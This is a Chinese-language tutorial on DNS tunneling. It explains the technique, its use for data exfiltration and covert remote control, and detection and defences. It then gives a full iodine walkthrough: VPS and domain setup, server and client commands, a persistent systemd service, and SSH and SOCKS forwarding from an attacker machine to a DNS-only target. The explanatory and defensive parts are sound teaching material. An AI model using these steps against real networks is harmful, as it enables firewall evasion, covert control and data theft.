DNS隧道(详细操作)

43 阅读8分钟

一、基本原理介绍

【DNS隧道】 DNS隧道攻击(DNS Tunneling Attack) 是一种利用 DNS 协议来进行数据传输的攻击方式。在这种攻击中,攻击者通过 DNS 请求和响应通道,绕过传统的网络防火墙和安全设备,进行数据传输、远程控制或者渗透攻击。由于 DNS 通常被用来进行域名解析,很多组织的防火墙允许 DNS 流量通过,因此攻击者利用这一点隐藏恶意流量。

1. 基本原理 DNS 是一个用于将域名转换为 IP 地址的协议,但它也可以被滥用为数据通道,攻击者将网络数据嵌入到 DNS 请求或响应的域名中。这些数据通过互联网中的 DNS 服务器传输,最终到达攻击者的服务器,从而使得攻击者能够绕过防火墙。 工作流程: 数据嵌入: 攻击者将恶意数据或命令嵌入到 DNS 查询的子域名部分,例如,将数据编码成 base64 并作为查询请求的域名发送。例如,data1.attackersite.com 可能被转换成 data1.base64encoding.attackersite.com,将数据嵌入域名中。

DNS 查询: 客户端向 DNS 服务器发起查询,请求解析某个域名。在正常情况下,DNS 服务器会返回该域名的 IP 地址。

转发到攻击者: 攻击者设置自己的 DNS 服务器,将接收到的查询数据提取出来,并从中提取恶意数据。攻击者还可以将响应数据(例如:命令或文件)嵌入到 DNS 响应包中。

数据传输: 客户端收到 DNS 响应后,将嵌入其中的攻击者数据提取出来,从而实现数据的上传或下载。

2. 攻击目标

DNS 隧道攻击的目标通常是绕过防火墙或其他安全设备。因为大多数防火墙对 DNS 流量的检测较少,DNS 请求几乎总是被允许通过。攻击者通过以下方式利用这一点:

数据 exfiltration(数据外泄): 将敏感信息从受害网络中传递到攻击者的控制服务器。

远程控制: 通过 DNS 隧道发送命令和接收结果,控制被感染的系统。

绕过安全检测: 将恶意流量包装在看似正常的 DNS 查询中,躲避传统防火墙和入侵检测系统(IDS)的检测。

3. 攻击的实际应用

DNS 隧道攻击不仅仅是恶意软件或黑客攻击的一部分,还可用于:

绕过企业防火墙:企业防火墙可能会阻止 HTTP、HTTPS 或其他协议的流量,但它们往往对 DNS 流量不作特别限制,攻击者可以利用这一点绕过防火墙。

网络渗透:攻击者通过 DNS 隧道在被攻击系统与外部的恶意服务器之间建立隐蔽的通信通道,从而避免被检测。

数据外泄:通过 DNS 隧道,攻击者可以将内部数据逐步地通过 DNS 请求发送到远程服务器,避免传统的数据泄露检测系统。

4. 防范和检测方法

  1. DNS 流量监控

检测异常的 DNS 查询: DNS 隧道攻击往往会生成大量的 DNS 请求,这些请求的域名通常较长,并且频繁出现相似的模式。通过监控 DNS 查询,可以发现异常流量。

检查长域名或不常见的字符:通过分析 DNS 请求的长度和模式,可以识别出被用于 DNS 隧道的可疑请求。

  1. DNS 策略

限制外部 DNS 服务器访问:组织可以配置防火墙或路由器,只允许特定的 DNS 服务器进行解析,从而防止攻击者使用自定义的 DNS 服务器进行数据传输。

DNS over HTTPS(DoH)和 DNS over TLS(DoT):加密的 DNS 协议可以防止 DNS 请求被窃听或篡改,但仍然无法完全阻止 DNS 隧道攻击。如果同时加密 DNS 请求并加以过滤,可以增加防范的难度。

  1. DPI(深度包检测)

深度包检测:一些先进的防火墙和入侵检测系统可以执行深度包检测,分析 DNS 流量中的内容,识别出可能隐藏的数据流。

  1. 频繁检测和响应

DNS 请求速率:异常的 DNS 请求速率可能是 DNS 隧道活动的迹象。通过设置阈值来检测突发流量,可以及时发现潜在的隧道攻击。

  1. 访问控制和策略

控制 DNS 查询:通过策略限制某些 DNS 查询操作(如不允许特定类型的子域名解析),可以减少 DNS 隧道的成功率。

数据加密:对传输数据进行加密,防止敏感信息通过 DNS 隧道泄露。

5. 工具和技术

以下是一些常见的 DNS 隧道攻击工具:

Iodine:一个常用的 DNS 隧道工具,它支持在 DNS 查询中嵌入 IP 流量,实现隧道通信。

DNSCat2:另一个常见的 DNS 隧道工具,能够通过 DNS 通道传输数据。

DNScapy:一个基于 Python 的 DNS 隧道工具,可以通过 DNS 通道进行数据交换。

二、使用Iodine进行DNS隧道

a. 真实攻击的拓扑图

image.png

b.前期准备清单

项目要求用途
公网 VPS1台,公网IP(如 1.2.3.4),开放 UDP 53运行 iodined 服务端
域名1个(推荐 .shop .xyz .top 便宜域名)DNS 隧道伪装
攻击机1台(可以是服务端同一台)SSH 连接隧道
目标机1台(测试用,仅允许 DNS 出网)运行 iodine 客户端

购买好域名后,将其IP指定攻击服务器(运行iodined服务端的公网IP) image.png

配置完成后效果:

# 验证 NS 记录是否生效(全球同步需 5-30 分钟)
$ nslookup -type=NS kennylin.shop

# 应该返回:
# kennylin.shop   nameserver = ns1.kennylin.shop
# kennylin.shop   nameserver = ns2.kennylin.shop

# 验证 ns1 的 IP
$ nslookup ns1.kennylin.shop
# Address: 1.2.3.4

c、VPS 服务端部署(iodined)

Step 1:准备 VPS 环境

要求:

  • Ubuntu 20.04/22.04 / CentOS 7/8
  • 公网 IP:假设为 1.2.3.4
  • 防火墙开放 UDP 53 端口

购买推荐:

  • Vultr / DigitalOcean / AWS Lightsail / 阿里云 ECS
  • 配置:1核1G 足够,月流量 1TB 左右

Step 2:连接 VPS 并安装 iodine

# SSH 登录你的 VPS
ssh root@1.2.3.4

# 更新系统(Ubuntu/Debian)
apt update && apt upgrade -y

# 安装 iodine
apt install iodine -y

# CentOS/RHEL 安装方式:
# yum install epel-release -y
# yum install iodine -y

image.png

Step 3:启动 iodined 服务端

# 创建虚拟网卡 dns0,分配隧道网段 192.168.200.0/24
# 服务端 IP: 192.168.200.1
# 客户端 IP: 192.168.200.2(自动分配)

# iodined -f -c -P Kenny123 -d dns0 192.168.200.1 ns.kennylin.shop
iodined -f -c -P Kenny123  192.168.200.1 ns.kennylin.shop -DD

# 参数说明:
# -f      前台运行(调试时,后台运行去掉 -f)
# -c      禁止检查客户端 IP(允许多个客户端或 NAT 环境)
# -P      认证密码(客户端必须一致)
# -d dns0 创建虚拟网卡 dns0
# 192.168.200.1  服务端隧道 IP
# ns.kennylin.shop  你的域名

image.png

后台运行方式(推荐--可跳过这个操作):

# 使用 nohup 或 screen
nohup iodined -c -P Kenny123 -d dns0 192.168.200.1 ns.kennylin.shop > /var/log/iodined.log 2>&1 &

# 或 systemd 服务(生产环境推荐)
cat > /etc/systemd/system/iodined.service << 'EOF'
[Unit]
Description=Iodine DNS Tunnel Server
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/iodined -c -P Kenny123 -d dns0 192.168.200.1 ns.kennylin.shop
Restart=always

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
systemctl enable iodined
systemctl start iodined
systemctl status iodined

Step 4:验证服务端运行(新建一个会话窗口)

# 查看进程
ps aux | grep iodine

# 查看网卡
ip addr show dns0
# 应该显示:192.168.200.1

# 查看监听端口
ss -tunlp | grep iodine
# udp 0.0.0.0:53

# 测试本地 DNS 解析
dig @127.0.0.1 test.ns.kennylin.shop
# 应该返回 iodine 的响应(不一定是真实IP,但会响应)

image.png

image.png

d、目标机(客户端)部署

Step 1:准备目标环境

模拟场景: 一台只能解析 DNS、无法直接出网的机器

# 安装 iodine 客户端(Ubuntu/Debian)
apt install iodine -y

# CentOS
yum install iodine -y

Step 2:连接 DNS 隧道

# 方法 1:自动迭代解析(推荐,无需指定 DNS)
iodine -f -P Kenny123 ns.kennylin.shop

# 方法 2:强制通过特定 DNS 服务器(你之前用的方式,可能不稳定)--建议使用这个
iodine -f -r -P Kenny123 223.5.5.5 ns.kennylin.shop

# 参数说明:
# -f      前台运行
# -P      密码(必须与服务端一致)
# -r      递归模式,强制通过指定 DNS 查询
# 223.5.5.5  指定的 DNS 服务器(可选,不稳定)
# ns.kennylin.shop  域名

📋 iodine 命令参数解析

bash

复制

iodine -f -r -P Kenny123 223.5.5.5 ns.kennylin.shop

表格

复制

参数含义
-f前台运行(不守护进程化)
-r强制通过指定 DNS 服务器查询(recursive mode,递归模式)
-P Kenny123认证密码
223.5.5.5上游 DNS 服务器的 IP 地址(这里是阿里云 DNS)
ns.kennylin.shopiodine 服务端域名的前缀,完整的查询域名会是 xxx.ns.kennylin.shop
连接成功标志:
Opened dns0
Version ok, both using protocol v 0x00000502. You are user #0
Setting IP of dns0 to 192.168.200.2
Server tunnel IP is 192.168.200.1
Connection setup complete, transmitting data.

image.png

e、攻击机连接隧道

Step 1:SSH 通过隧道连接

# 在攻击机上(可以是服务端同一台机器)
# 直接连接客户端的隧道 IP
ssh root@192.168.200.2

# 或者如果客户端运行了 SSH 服务:
ssh -p 22 user@192.168.200.2

如果iodine服务器和攻击机是同一台:

# 服务端已经有 dns0 网卡 192.168.200.1
# 直接访问客户端 192.168.200.2

# 测试连通性
ping 192.168.200.2

# SSH 连接
ssh root@192.168.200.2

上面成功在攻击电脑中直接SSH登录到另一台

image.png


Step 2:端口转发(高级用法)

# 通过隧道转发端口
# 客户端运行:将本地 8080 转发到服务端
iodine ... -L 8080:localhost:80

# 或者使用 SSH 动态代理
ssh -D 1080 root@192.168.200.2
# 然后浏览器设置 SOCKS5 代理 127.0.0.1:1080